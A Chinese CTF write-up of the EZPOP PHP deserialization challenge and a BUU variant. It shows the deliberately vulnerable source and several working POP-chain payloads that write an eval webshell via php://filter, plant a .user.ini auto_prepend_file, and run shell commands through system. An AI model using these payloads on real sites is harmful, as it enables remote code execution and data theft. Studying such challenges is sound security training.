2019全国大学生安全运维赛 EZPOP & 2020buu红包题

0x01 题目源码


error_reporting(0);

class A{

    protected $store;

    protected $key;

    protected $expire;

    public function __construct($store, $key = 'flysystem', $expire = null)
    {
        $this->key    = $key;
        $this->store  = $store;
        $this->expire = $expire;
    }

    public function cleanContents(array $contents)
    {
        $cachedProperties = array_flip([
            'path', 'dirname', 'basename', 'extension', 'filename',
            'size', 'mimetype', 'visibility', 'timestamp', 'type',
        ]);

        foreach ($contents as $path => $object) {
            if (is_array($object)) {
                $contents[$path] = array_intersect_key($object, $cachedProperties);
            }
        }

        return $contents;
    }

    public function getForStorage()
    {
        $cleaned = $this->cleanContents($this->cache);

        return json_encode([$cleaned, $this->complete]);
    }

    public function save()
    {
        $contents = $this->getForStorage();

        $this->store->set($this->key, $contents, $this->expire);
    }

    public function __destruct()
    {
        if (! $this->autosave) {
            $this->save();
        }
    }
}

class B{

    protected function getExpireTime($expire): int
    {
        return (int) $expire;
    }

    public function getCacheKey(string $name): string
    {
        return $this->options['prefix'] . $name;
    }

    protected function serialize($data): string
    {
        if (is_numeric($data)) {
            return (string) $data;
        }

        $serialize = $this->options['serialize'];

        return $serialize($data);
    }

    public function set($name, $value, $expire = null): bool
    {
        $this->writeTimes++;

        if (is_null($expire)) {
            $expire = $this->options['expire'];
        }

        $expire   = $this->getExpireTime($expire);
        $filename = $this->getCacheKey($name);

        $dir = dirname($filename);

        if (!is_dir($dir)) {
            try {
                mkdir($dir, 0755, true);
            } catch (\Exception $e) {
                // 创建失败
            }
        }

        $data = $this->serialize($value);

        if ($this->options['data_compress'] && function_exists('gzcompress')) {
            //数据压缩
            $data = gzcompress($data, 3);
        }

        $data   = " . sprintf('%012d', $expire) . "\n exit();?>\n" . $data;
        $result = file_put_contents($filename, $data);

        if ($result) {
            return true;
        }

        return false;
    }

}

if (isset($_GET['src']))
{
    highlight_file(__FILE__);
}

$dir = "uploads/";

if (!is_dir($dir))
{
    mkdir($dir);
}
unserialize($_GET["data"]);

题目分析:
大致看了一下代码,只有类A有__destruct,所以我们序号序列化类A,在__destruct中掉用了$this->save(),在save中调用了$this->store->set,我们只有在序列化类A时设定$this->store为类B,才能引出类B,而且类B中恰好有set方法~~

我们要找得利用点在类B中的file_put_contents函数,所以我们需要分析一下$filename$data两个参数

解法一
$filename

80行调用B::getCacheKey($name),在B::getCacheKey($name)中拼接字符串$this->options['prefix'].$name构成filename

$data

99行拼接前半部分,通过上面的方法bypass。
94行的分支可以不进入,92行调用B::serialize($value),$valueB::set($name, $value, $expire = null)的参数。
B::serialize($value)调用B::options['serialize']()处理了$value

再看$value

$value实际是A::getForStorage()的返回值。A::getForStorage()返回json_encode([A::cleanContents(A::cache), A::complete])
A::cleanContents(A::cache)实现了一个过滤的功能,A::complete更容易控制,直接写为shellcode
由于$value是一个json字符串,然后,json字符串的字符均不是base64合法字符,通过base64_decode可以直接从json中提取出shellcode
所以将shellcode经过base64编码,B::options['serialize']赋值为base64_decode

payload:



class A{
	protected $store;
    protected $key;
    protected $expire;
    public $cache = [];
	public function __construct (){
		$this->store = new B();
		$this->key = ".php";
		$this-> expire = 0;
		$this->cache = array();
		$this->autosave = false;
		$this->complete = base64_encode("qaq" . base64_encode(''));
	}
}
class B{
	public $options = [
	'serialize' => "base64_decode",
	'data_compress' => false,
	'prefix' => "php://filter/write=convert.base64-decode/resource=uploads/.jingzhe"
	];
}
echo urlencode(serialize(new A()));

解法二

$filename

B::getCacheKey($name)中,将$this->options['prefix']和$name拼接得到

构造B::optionsA::key使$filenamephp://filter/write=convert.base64-decode/resource=uploads/shell.php

$data

$value=A::getForStorage()B::serialize($value)得到

构造A的cache为数组['path'=>'a','dirname'=>base64_encode('')];

就可以使得$value=A::getForStorage() 的值为[{"path":"a","dirname":"PD9waHAgZXZhbCgkX0dFVFthXSk7Pz4g"},true]

然后再构造B的serialize值为serialize就可以使得B::serialize($value)的值为‌s:64:"[{"path":"a","dirname":"PD9waHAgZXZhbCgkX0dFVFthXSk7Pz4g"},true]";

这样在最后$data被base64解码的时候只有php//000000000000exits64pathadirname和PD9waHAgZXZhbCgkX0dFVFthXSk7Pz4gtrue,然后前36位字符被编码成功绕过exit

payload:


class A{
    protected $store;
    protected $key;
    protected $expire;
    public $cache = [];
    public $complete = true;
    public function __construct () {
        $this->store = new B();
        $this->key = 'shell.php';
        $this->cache = ['path'=>'a','dirname'=>base64_encode('')];
    }
}

class B{
    public $options = [
        'serialize' => 'serialize',
        'prefix' => 'php://filter/write=convert.base64-decode/resource=uploads/',
    ];
}

echo urlencode(serialize(new A()));

0x02 buu红包题

题目大部分和这道题目相同,只是在一个地方加了后缀限制和使用了随机id~~

public function getCacheKey(string $name): string {
        // 使缓存文件名随机
        $cache_filename = $this->options['prefix'] . uniqid() . $name;
        if(substr($cache_filename, -strlen('.php')) === '.php') {
            die('?');
        }
        return $cache_filename;
    }
payload1

使用/.绕过后缀限制~~


class A{
    protected $store;
    protected $key;
    protected $expire;
    public $cache = [];
    public $complete = true;
    public function __construct () {
        $this->store = new B();
        $this->key = '/../shell.php/.';
        $this->cache = ['path'=>'a','dirname'=>base64_encode('')];
    }
}

class B{
    public $options = [
        'serialize' => 'serialize',
        'prefix' => 'php://filter/write=convert.base64-decode/resource=uploads/',
    ];
}

echo urlencode(serialize(new A()));
payload2

先上传一个shell.pHp
然后再上传一个.user.ini

shell.pHp

class A{
    protected $store;
    protected $key;
    protected $expire;
    public $cache = [];
    public $complete = true;
    public function __construct () {
        $this->store = new B();
        $this->key = '/../../shell.pHp';
        $this->cache = ['path'=>'a','dirname'=>base64_encode('')];
    }
}

class B{
    public $options = [
        'serialize' => 'serialize',
        'prefix' => 'php://filter/write=convert.base64-decode/resource=uploads/',
    ];
}

echo urlencode(serialize(new A()));
.user.ini

class A{
    protected $store;
    protected $key;
    protected $expire;
    public $cache = [];
    public $complete = true;
    public function __construct () {
        $this->store = new B();
        $this->key = '/../../.user.ini';
        $this->cache = ['path'=>'a','dirname'=>base64_encode('1'."\n".'auto_prepend_file=shell.pHp'."\n\n\n\n")];
    }
}

class B{
    public $options = [
        'serialize' => 'serialize',
        'prefix' => 'php://filter/write=convert.base64-decode/resource=uploads/',
    ];
}

echo urlencode(serialize(new A()));

这儿由于base64编码,导致.user.ini里面的内容被打乱了,所以我们需要使用原生的换行符~~(使用双引号,而不是单引号

base64_encode('1'."\n".'auto_prepend_file=shell.pHp'."\n\n\n\n")

2019全国大学生安全运维赛 EZPOP & 2020buu红包题_第1张图片

还有一个注意的点,.user.ini只能作用于当前文件夹和子文件夹~
payload3

关键在 serialize 和 cache 里的命令那,
到源码中的

$data = $this->serialize($value);

此处即可调用任意函数并且传参,即便参数在上面

return json_encode([$cleaned, $this->complete]);

json 编码了,但我们仍然可以在其中插入一段完整的内容,所以插入一段用反引号括起来的命令,由于整段东西传入 system 函数之后是调用 shell 来执行,执行顺序有先后,反引号内的会被先执行,即可达到我们执行命令的目的。


class A{
    protected $store;
    protected $key;
    protected $expire;
    public $cache = [];
    public $complete = true;
    public function __construct () {
        $this->store = new B();
        $this->key = '/../../shell.pHp';
        $this->cache = ['path'=>'a','dirname'=>'`cat /flag > ./uploads/flag.php`'];
    }
}

class B{
    public $options = [
        'serialize' => 'system',
        'prefix' => 'sssss',
    ];	
}

echo urlencode(serialize(new A()));
'dirname'=>'`cat /flag > ./uploads/flag.php`'

直接把flag写在uploads里面的flag.php,然后再访问一下就行了~~

0x03 参考链接

惊蛰师傅
安恒
赵师傅
.user.ini

你可能感兴趣的:(BUUCTF刷题记录)